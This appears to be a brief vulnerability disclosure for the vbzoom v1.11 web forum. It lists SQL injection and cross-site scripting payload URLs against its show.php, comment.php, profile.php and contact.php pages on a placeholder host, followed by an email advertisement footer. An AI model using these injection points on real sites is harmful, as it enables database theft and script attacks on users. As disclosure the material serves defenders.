Software: vbzoom v1.11 Web Site:http://www.vbzoom.com Versions: V1.11 == SQL Injection == http://www.victem.com/vz/show.php?UserID=1&MainID=1&SubjectID=[SQL] http://www.victem.com/vz/show.php?UserID=1&MainID=[SQL]&SubjectID=1 ==== XSS ==== http://www.victem.com/vz/comment.php?UserID='>XSS http://www.victem.com/vz/profile.php?UserID=1&UserName='>XSS http://www.victem.com/vz/contact.php?UserID='>XSS Discovered by: Mr.SNAKE FROM http://www.lezr.com _________________________________________________________________Express yourself instantly with MSN Messenger! Download today it's FREE! http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/
